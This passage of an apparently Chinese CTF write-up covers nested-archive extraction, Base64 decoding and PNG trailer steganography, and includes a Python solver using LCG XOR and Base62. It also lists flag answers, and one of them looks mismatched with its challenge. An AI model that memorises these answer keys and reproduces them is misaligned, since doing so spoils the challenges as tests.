flag{19550acb-c5f0-4b7d-b832-75890d97d6be}
17、Misc - 迷宫|多层压缩包递归解压
题目:data2.zip,多层嵌套压缩包
考点:压缩包递归解压、Base64 解码、字符串处理
解题步骤
- 解压 data2.zip,得到
secret3/hidden4.zip。 - 递归解压,最终得到
.config/user/backup5/vault.bin。 - vault.bin 内容为 Base64 编码:
NWRmNDYzZDVlZTg0Yjg5ODFlY2U0NGFiNTE0OTFmNDA=60。 - 去除尾部干扰字符
60,Base64 解码得到:5df463d5ee84b8981ece44ab51491f40,拼接 flag 格式。
关键截图

flag
flag{5df463d5ee84b8981ece44ab51491f40}
18、像素中的秘密|PNG 隐写 + LCG+Base62
题目:image_04.png,PNG 尾部隐写密文
考点:PNG 文件结构、IEND 块、线性同余生成器(LCG)、Base62 解码
解题步骤
- 解压 image_04.zip,获取 image_04.png。
- 读取 PNG 结构,IEND 块后残留 64 字节数据,为隐写密文。
- 密文结构:4 字节填充 + 4 字节 seed + XOR 密文。
- 用 seed 初始化 LCG,生成随机数与密文异或,得到 Base62 字符串。
- Base62 转字节,UTF-8 解码得到 flag。
完整 EXP
#!/usr/bin/env python3
import argparse
import string
import struct
import zipfile
from pathlib import Path
# LCG参数
A = 1664525
C = 1013904223
MASK = 0xFFFFFFFF
# Base62字符集
B62 = string.digits + string.ascii_lowercase + string.ascii_uppercase
# 读取ZIP中的PNG
def get_png_data(zip_file: Path):
with zipfile.ZipFile(zip_file, 'r') as zf:
png_list = [n for n in zf.namelist() if n.lower().endswith('.png')]
if not png_list:
raise RuntimeError("No PNG inside archive")
target_name = png_list[0]
return target_name, zf.read(target_name)
# 截取IEND块后的数据
def cut_after_iend(data: bytes) -> bytes:
if not data.startswith(b'\x89PNG\r\n\x1a\n'):
raise RuntimeError("Not a valid PNG file")
offset = 8
data_len = len(data)
while offset + 8 <= data_len:
chunk_len = struct.unpack('>I', data[offset:offset+4])[0]
chunk_type = data[offset+4:offset+8]
offset += 8 + chunk_len + 4
if chunk_type == b'IEND':
return data[offset:]
raise RuntimeError("IEND chunk missing")
# LCG解密
def lcg_decrypt(raw: bytes):
if len(raw) < 8:
raise RuntimeError("Trailer data too short")
seed = int.from_bytes(raw[4:8], 'big')
cur = seed
out = bytearray()
for b in raw[8:]:
cur = (A * cur + C) & MASK
out.append(b ^ (cur & 0xFF))
return seed, bytes(out)
# Base62解码
def b62_decode(s: str) -> bytes:
num = 0
for c in s:
num = num * 62 + B62.index(c)
byte_cnt = (num.bit_length() + 7) // 8
return num.to_bytes(byte_cnt, 'big')
# 解析文件
def parse_file(zip_path: Path):
png_name, png_buf = get_png_data(zip_path)
tail = cut_after_iend(png_buf)
seed, dec_buf = lcg_decrypt(tail)
b62_str = dec_buf.rstrip(b'\x00').decode('ascii')
flag = b62_decode(b62_str).decode('utf-8')
return {
'zip_path': str(zip_path),
'png_name': png_name,
'png_size': len(png_buf),
'tail_size': len(tail),
'seed_hex': f"0x{seed:08x}",
'b62_str': b62_str,
'flag': flag
}
# 扫描目标文件
def scan_targets(input_list: list[str]) -> list[Path]:
if not input_list:
input_list = [str(Path(__file__).parent.resolve())]
paths = []
for item in input_list:
p = Path(item)
if p.is_dir():
paths += sorted(p.glob('*.zip'))
else:
paths.append(p)
return paths
# 主运行
def run():
parser = argparse.ArgumentParser()
parser.add_argument('targets', nargs='*')
args = parser.parse_args()
file_list = scan_targets(args.targets)
if not file_list:
print("[!] No ZIP files found")
return
for fp in file_list:
try:
res = parse_file(fp)
except Exception as e:
print(f"[!] {fp}: {str(e)}")
continue
print(f" Flag: {res['flag']}\n")
if __name__ == "__main__":
run()
关键截图

flag
{memory_dump_analysis}
19、签到题 - 损坏的压缩包|Base64 解码
题目:data.txt,内容为 Base64 字符串
考点:基础 Base64 解码
解题步骤
- 打开 data.txt,内容:
a2Jzdg==。 - 直接 Base64 解码,得到 flag。
关键截图

flag
flag{kbsv}
Comments NOTHING